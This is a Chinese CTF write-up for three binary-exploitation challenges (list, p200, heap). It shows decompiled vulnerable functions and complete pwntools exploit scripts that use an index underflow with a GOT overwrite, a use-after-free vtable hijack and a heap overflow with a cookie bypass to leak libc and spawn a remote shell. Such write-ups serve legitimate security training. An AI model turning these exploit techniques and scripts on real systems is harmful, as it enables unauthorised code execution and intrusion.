donghua_chunqiu_pwn

pwn1–list

  • 64位elf


list: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d06eb3a0d1a9f8fb00bf78cee1718e5cfacc8401, stripped

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

  • 程序功能,提供列表添加删除查看功能。
  • 列表和列表下标存放在bss段。

  • 漏洞位置

    • 在删除函数和添加函数中只对数组上界做了校验,可以无限删除数组。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
      int dele_400899()
    {
    if ( count_6020D0 > 9 )
    {
    puts("ERROR!");
    exit(-1);
    }
    --count_6020D0;
    return puts("Delete Successfully!");
    }
  • 漏洞利用

    • 通过不断删除数组,将下表索引到plt位置中指向got表的指针。
    • 通过指针leak 和修改 got内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = 'debug'
slocal =1
slog =1
atoi_off = 0x0000000000036e80
system_off = 0x0000000000045390
one_off = 0x4526a
if slocal:
p = process("./list",env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("106.75.8.58",13579)#106.75.8.58 13579

def dele():
p.recvuntil("5.Exit")
p.sendline("4")

def add(con):
p.recvuntil("5.Exit")
p.sendline("1")
p.recvuntil("Input your content:")
p.send(con)
def edit(con):
p.recvuntil("5.Exit")
p.sendline("3")
p.send(con)
def pwn():
for x in xrange(263007):
dele()
p.recvuntil("5.Exit")
p.clean()
p.sendline("2")
data = p.recvuntil('\n')[:-1]
data = u64(data.ljust(8,'\x00'))
libc = data - atoi_off
system = libc + system_off
one = libc + one_off
print "system addr is "+ hex(system)
payload = p64(system)
edit(payload)
print pidof(p)
p.sendline("/bin/sh\x00")
p.interactive()
pwn()

pwn2–p200

-64位elf动态链接


p200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=de9b1c40767540d12d8d1041a09ac4b1962ec542, stripped

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)</code>
  • ida打开是c++的程序
  • 运行程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Please input you choose:
1. use, 2. after, 3. free
3
Freed.
Please input you choose:
1. use, 2. after, 3. free
2
Please input the length:
100
aaaaaaaaaaaaa
Now you have you recipe.
Please input you choose:
1. use, 2. after, 3. free
1
[1] 2818 segmentation fault (core dumped) ./p200
  • 漏洞位置和题目描述一致uaf
  • 漏洞利用,通过uaf修改虚表到内置system函数。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    from pwn import *
    context.log_level = 'debug'
    p = remote("106.75.8.58",12333)#106.75.8.58 12333
    #p = process("./p200")
    def pwn():
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("3")
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline("48")
    p.sendline(p64(0x602d70)*3)
    p.recvuntil("1. use, 2. after, 3. free")
    p.sendline("2")
    p.recvuntil("length:")
    p.sendline("48")
    p.sendline(p64(0x0602d70)*3)
    # print pidof(p)
    # raw_input()
    p.interactive()
    pwn()

##pwn3–heap

  • 64位elf,开了full relro,目测需要修改虚表什么的。

heap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9617890c383987f9d17ada456d9d2f925b2cf6a1, stripped

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)</code>
  • 在main函数中开始有一个函数随机申请和释放堆,造成堆空间不可预测,并生成一个cookie值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 sub_400D2E()
{
unsigned int v0; // eax
int v1; // eax
__int64 result; // rax
signed int i; // [rsp+0h] [rbp-10h]
int j; // [rsp+0h] [rbp-10h]
int k; // [rsp+0h] [rbp-10h]
int r_1; // [rsp+4h] [rbp-Ch]
int r2; // [rsp+8h] [rbp-8h]
int v8; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v0 = time(0LL);
srand(v0);
for ( i = 0; i <= 4095; ++i )
list_607040[i] = 0LL;
LODWORD(cookie_60F040) = rand();
r_1 = rand() % 50 + 50;
r2 = rand() % r_1;
for ( j = 0; j < r_1; ++j )
{
v1 = rand();
ptr[j] = malloc(v1 % 0xC7 + 1);
}
for ( k = 0; ; ++k )
{
result = k;
if ( k >= r2 )
break;
v8 = rand() % r_1;
if ( ptr[v8] )
{
free(ptr[v8]);
ptr[v8] = 0LL;
}
}
return result;
}
  • 主要的结构体是这样的
1
2
3
4
5
6
7
8
9
10
11
12
struct heap
{
int idx;
char * name_ptr;
int nam_len;
int * func;
char * school_name_ptr;
int school_name_len;
int type;
int cookie;

}
  • 在name_ptr 和school_name_ptr指向的空间中的结尾会复制有cookie。
  • 剩下几个函数就拼命盯着那个cookie值,几乎所有的操作都校验三次cookie,给了相当于无限申请堆的能力。
  • 出题人留了个很漂亮的堆溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_int64 __fastcall sub_401038(int a1)
{
signed int len; // [rsp+14h] [rbp-8Ch]
__int64 v3; // [rsp+18h] [rbp-88h]
char nptr; // [rsp+20h] [rbp-80h]
unsigned __int64 v5; // [rsp+98h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = *(list_607040[a1] + 1);
while ( 1 )
{
puts("please input the length of new name");
input_4008F6(&nptr, 100);
len = atoi(&nptr);
if ( len <= 4096 && len > 0 )
break;
puts("error, namelen must between 1 and 4096,please reinput");
}
puts("please input new name");
input_4008F6(v3, len);
puts("modify name successfully");
*(list_607040[a1] + 4) = len;
return 0LL;
}
  • 漏洞利用

    • 通过前面申请大量的堆空间,将随机生成的堆块归并。
    • 再次布局堆空间,这时,堆空间就得到了分布相连接的堆快。
    • 通过溢出堆快修改相邻的堆快中的结构为

      1
      2
      3
      4
      name_pt -> cookie
      name_len = 0
      school_name_ptr - > cookie
      school_name_len = 0
    • 利用上面的构造可以修改存放在堆上的cookie,顺便留了/bin/sh

    • 通过上面相同的办法将绕过cookie校验,leak 出libc地址,修改结构体中的函数位system。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    from pwn import *
    context.log_level = 'debug'
    slocal = 0
    if slocal :
    p = process("./heap",env={"LD_PRELOAD":"./libc.so.6"})
    else:
    p = remote("106.75.8.58",23238)
    def add(nam_len,name,sc_len,sc,yn):
    p.recvuntil("option:")
    p.sendline("1")
    p.recvuntil("length of name")
    p.sendline(str(nam_len))
    p.recvuntil("input name")
    p.sendline(name)
    p.recvuntil("schoolname")
    p.sendline(str(sc_len))
    p.recvuntil("school name")
    p.sendline(sc)
    p.recvuntil("tutor?")
    p.sendline(yn)
    def dele(idx):
    p.recvuntil("option:")
    p.sendline("2")
    p.recvuntil("input a id to delete")
    p.sendline(str(idx))
    def edit(idx,opt,ll,name):
    p.recvuntil("option:")
    p.sendline("3")
    p.recvuntil("input a id to edit")
    p.sendline(str(idx))
    p.recvuntil("option:")
    p.sendline(str(opt))
    p.recvuntil("name")
    p.sendline(str(ll))
    p.recvuntil("name")
    p.sendline(name)
    '''exit_off = 0x3a030
    one_off = 0x4526a
    hook_off = 0x3c4b10'''
    exit_off = 0x000000000003a030
    one_off= 0x4526a
    system_off = 0x0000000000045390
    def pwn():
    for x in xrange(100):
    add(4096,'deadbeef',4096,'deadbeef','no')
    add(16,'leakinfo',16,'leakinfo','yes')
    add(200,'AAAAAAAA',200,'aaaaaaaa','yes')
    add(200,'BBBBBBBB',200,'bbbbbbbb','yes')
    add(200,'CCCCCCCC',200,'cccccccc','yes')
    add(200,'DDDDDDDD',200,'aaaaaaaa','yes')
    add(200,'EEEEEEEE',200,'bbbbbbbb','yes')
    add(200,'FFFFFFFF',200,'cccccccc','yes')
    payload = 'A'*440+p64(0x41)+p64(0x69)+p64(0x60F03f)+p64(0)+p64(0x400954)+p64(0x0602FF0)+p32(49231)
    edit(104,1,500,payload)
    edit(105,1,25,'AAAAAAAAA/bin/sh\x00AAAAAAAA')
    payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x602ff0)+p64(0xc04f)+p64(0x400954)+p64(0x602ff0)+'\x4f\xc0'
    add(200,"HHHHHHHH",200,'hhhhhhhh','yes')
    add(200,'IIIIIIII',200,'iiiiiiii','yes')
    add(200,'KKKKKKKK',200,'kkkkkkkk','yes')
    add(200,'LLLLLLLL',200,'llllllll','yes')
    edit(107,1,500,payload)
    p.recvuntil("option:")
    p.sendline("4")
    p.recvuntil("input a id to intro")
    p.sendline('108')
    p.recvuntil("from ")
    data = p.recvn(6)
    libc = u64(data.ljust(8,'\x00'))-exit_off
    one = libc+one_off
    system =libc +system_off
    print "libc address is "+hex(libc)
    print pidof(p)
    raw_input()
    payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x60f048)+p64(8)+p64(system)+p64(0x602ff0)+'\x4f\xc0'
    edit(109,1,500,payload)
    p.recvuntil("option:")
    p.sendline("4")
    p.recvuntil("intro")
    p.sendline('110')
    p.interactive()
    pwn()